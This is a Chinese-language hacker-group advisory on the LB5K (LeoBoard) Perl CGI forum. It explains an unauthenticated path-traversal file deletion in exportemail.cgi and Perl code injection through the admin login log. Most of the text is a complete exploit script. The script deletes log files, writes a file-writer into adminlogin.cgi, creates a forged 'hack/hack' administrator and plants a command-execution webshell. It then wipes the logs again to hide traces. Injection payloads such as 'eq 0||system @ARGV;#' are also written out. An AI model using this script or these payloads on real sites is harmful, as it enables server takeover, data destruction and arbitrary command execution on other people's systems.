作者:[C4ST] PsKey
站点:http://www.isgrey.com
小组主页:http://c4st.51.net
小组论坛:http://analysist.tocare.net
>>>Dedicated This Scrap To CaoJing & LingMao & Envymask<<<
说明:据悉 Analysist 和 Torune< http://torune.126.com> 都曾发现了此漏洞。从时间上来说,此漏洞是他们发现在前,我发现在后。
涉及版本:
^^^^^^^^^^
LB5K当前所有版本(较低版本可能不受此漏洞影响)
描述:
^^^^^^
LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于exportemail.cgi文件验证逻辑错误,导致非法用户可以删除任意文件,结合其他文件存在的缺陷可能使非法用户控制论坛或以web权限在系统上执行任意命令。
具体:
^^^^^^
试看exportemail.cgi中的相关代码:
---------------------------------------------------------------------------------------
49 $action = $query -> param("action");
...
52 $intarname = $query -> param('tarname');
...
62 if ($action eq "delete") {
63 unlink ("${imagesdir}$intarname.csv");
---------------------------------------------------------------------------------------
这个删除文件操作没有经过任何验证,只要用户提交的 $action 为 delete 就可以执行。重要的是程序也并未对由用户提交的 $intarname 进行检查,因此用户可以自由选定欲删除的文件,比如提交如下URL,便可以删掉论坛主页面(具体操作按对方安装路径做相应变化):
http://www.target.com/perl/lb5000mx190/cgi-bin/exportemail.cgi?action=delete&tarname=../cgi-bin/leoboard.cgi%00
注意后面的 %00 别弄丢了。
但删除文件往往不是我们的目的,我们可以通过删除一些重要或者说关键的文件,以来帮助我们获取进一步的权限。
接下来我们看看 admincenter.cgi 文件的相关代码:
---------------------------------------------------------------------------------------
45 $inmembername = $query -> param('membername');
46 $inpassword = $query -> param('password');
...
98 inmembername =~ s/[\a\f\n\e\0\r\t\`\~\!\@\#\$\%\^\&\*\(\)\+\=\\\{\}\;\'\:\"\,\.\/\<\>\?]//isg;
99 $inpassword =~ s/[\a\f\n\e\0\r\t]//isg;
...
200 $filetomake = "$lbdir" . "data/adminlogin.cgi";
201 open(FILE, ">>$filetomake");
202 print FILE "$inmembername\t$inpassword\t$ENV{'REMOTE_ADDR'}\t$trueipaddress\t\登录失败\<\/B\>\t$thistime\t\n";
---------------------------------------------------------------------------------------
如果用户登录,不管成功与否,程序都会把登录记录写入到 data/adminlogin.cgi 文件,但用户登录失败的记录,程序处理的很粗糙,致命的一点就是没有对 $inpassword 进行任何检查,正常情况下用户登录失败会向 data/adminlogin.cgi 写入如下内容:
---------------------------------------------------------------------------------------
hack wrongpasswd 192.168.0.1 no 登录失败 1052224096
---------------------------------------------------------------------------------------
但要是以用户名 1 密码 eq 0||system @ARGV;# 登录呢?便会写入如下内容
---------------------------------------------------------------------------------------
1 eq 0||system @ARGV;# 192.168.0.1 no 登录失败 1052224304
---------------------------------------------------------------------------------------
如果在此之前管理员恰好清除了管理日志,此时 data/adminlogin.cgi 文件中只有这么条记录,那么我们请求
http://www.target.com/perl/lb5000mx190/cgi-bin/data/adminlogin.cgi?cmd
要是对方采用 perl.exe %s %s 映射方式,我们便有可能执行任意命令。
但我们不能被动的等管理员清空了日志才进行攻击,可以直接先用上文中描述的 exportemail.cgi 文件的漏洞来把 data/adminlogin.cgi 文件删除,接着我们再构造 $inpassword 来写入webshell。
提交如下URL可以删除 data/adminlogin.cgi 文件(具体操作按对方安装路径做相应变化):
http://www.target.com/perl/lb5000mx190/cgi-bin/exportemail.cgi?action=delete&tarname=../cgi-bin/data/adminlogin.cgi%00
哈哈,现在的 data/adminlogin.cgi 就等同于一张白纸来等我们勾画,如果你有兴趣,直接把个老长老长老长的webshell写进去吧,但是要敏捷哦,小心在这个过程中有其他的人登陆,他们会打乱你的webshell的。
下面附了我写的一个攻击测试脚本,需要注意的是:不成功的情况下可能需要改一下代码,因为某些站的LB安装路径很怪。另外,如果后台管理登陆需要验证码,则必须先手工把如下代码写入到data/adminlogin.cgi,然后把代码做适当修改再使用。
---------------------------------------------------------------------------------------
use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');
---------------------------------------------------------------------------------------
测试脚本:
#!/usr/bin/perl
#Codz By PsKey
#Exploit of LB's exportemail.cgi & admincenter.cgi
$|=1;
use Socket;
use Getopt::Std;
getopt('hpbw');
print "\n ===================================================\n";
print " Exploit of LB's exportemail.cgi & admincenter.cgi\n";
print " Codz By PsKey \n";
print " www.isgrey.com \n";
print " c4st.51.net \n";
print " ===================================================\n";
&usage unless ( defined($opt_h) && defined($opt_b) && defined($opt_w));
$host=$opt_h;
$port=$opt_p||80;
$lbpath=$opt_b;
$webpath=$opt_w;
print "\nPlease wait...\n\n";
$request0 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/data/adminlogin.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request0);
$request01 = "GET $webpath/exportemail.cgi?action=delete&tarname=../data/adminlogin.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request01);
$request000 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/lbshell.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request000);
$request001 = "GET $webpath/exportemail.cgi?action=delete&tarname=../lbshell.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request001);
$request005 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/cj.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request005);
$request006 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cj.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request006);
@req = qw( use%20CGI%20qw(:standard)%3b%23
open(SKY,param('a'))%3b%23
print%20SKY%20param('b')%3b%23
);
for ($i=0;$i<@req;$i++)
{print ".";
$membername = "a";
$password = "eq%20b||1%3b".$req[$i];
$request1 = "GET $webpath/admincenter.cgi?action=login&membername=$membername&password=$password HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: adminname=$membername; adminpass=$password;\n\n";
sendraw($request1);
}
$a = ">>".$lbpath."lbshell.cgi";
@shell1 = qw( use%20CGI%20qw(:standard)%3b%0a
$s=param('s')%3b%0a
$d=param('d')%3b%0a
if ($s%20ne%20""%20%26%26%20$d%20ne%20"")%20{%0a
rename($s,$d)%3b%0a
exit%3b%0a
}%0a
);
for ($j=0;$j<@shell1;$j++)
{
print ".";
$request2 = "GET $webpath/data/adminlogin.cgi?a=$a&b=$shell1[$j] HTTP/1.0\r\n".
"Host: $host\n\n";
sendraw($request2);
}
$lbpath1="\$lbpath=\"".$lbpath."\"%3b%0a";
$request3 = "GET $webpath/data/adminlogin.cgi?a=$a&b=$lbpath1 HTTP/1.0\r\n".
"Host: $host\n\n";
sendraw($request3);
@shell2 = qw($ad="/hack.cgi"%3b%0a
opendir(DIR,"$lbpath")%3b%0a
@files=readdir(DIR)%3b%0a
close(DIR)%3b%0a
@memdir=grep(/^members/,@files)%3b%0a
$hack=$lbpath.@memdir[0].$ad%3b%0a
open(HACK,">$hack")%3b%0a
print%20HACK%20"hack\thack\thack\tad\n"%3b%0a
);
for ($j=0;$j<@shell2;$j++)
{
print ".";
$request4 = "GET $webpath/data/adminlogin.cgi?a=$a&b=$shell2[$j] HTTP/1.0\r\n".
"Host: $host\n\n";
sendraw($request4);
}
$request5 = "GET $webpath/lbshell.cgi HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request5);
$a1 = ">>".$lbpath."cj.cgi";
@shell3 = qw(use%20CGI%20qw(:standard)%3b%0a
print%20header(-charset=>gb2312)%3b%0a
$cmd=param("cmd")%3b%0a
$out=`$cmd%202>%261`%3b%0a
print%20start_form,textfield("cmd",$cmd,60)%3b%0a
print%20end_form%3b%0a
print%20pre($out)%3b%0a
);
for ($k=0;$k<@shell3;$k++)
{
print ".";
$requestcj = "GET $webpath/data/adminlogin.cgi?a=$a1&b=$shell3[$k] HTTP/1.0\r\n".
"Host: $host\n\n";
sendraw($requestcj);
}
$request03= "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/data/adminlogin.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request03);
$request04 = "GET $webpath/exportemail.cgi?action=delete&tarname=../data/adminlogin.cgi%00 HTTP/1.1\r\n".
"Host: $host\n\n";
sendraw($request04);
$ok=$host.$webpath."/cj.cgi";
print "\n\nYou will get an administrator hack/hack of this forum And the webshell $ok if you are lucky.\n";
sub usage {
print qq~
Usage: $0 -h [-p ] -b -w
-h =hostname you want to attack
-p =port,80 default
-b =the physical path of cgi-bin such as "E:/website/lb/cgi-bin/"
-w =the web path of cgi-bin such as "/lb/cgi-bin"
Eg: $0 -h www.target.com -p 80 -b E:/website/lb/cgi-bin/ -w /lb/cgi-bin
~;
exit;
}
#thanx rfp's sendraw
sub sendraw {
my ($request) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = ;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}
}
|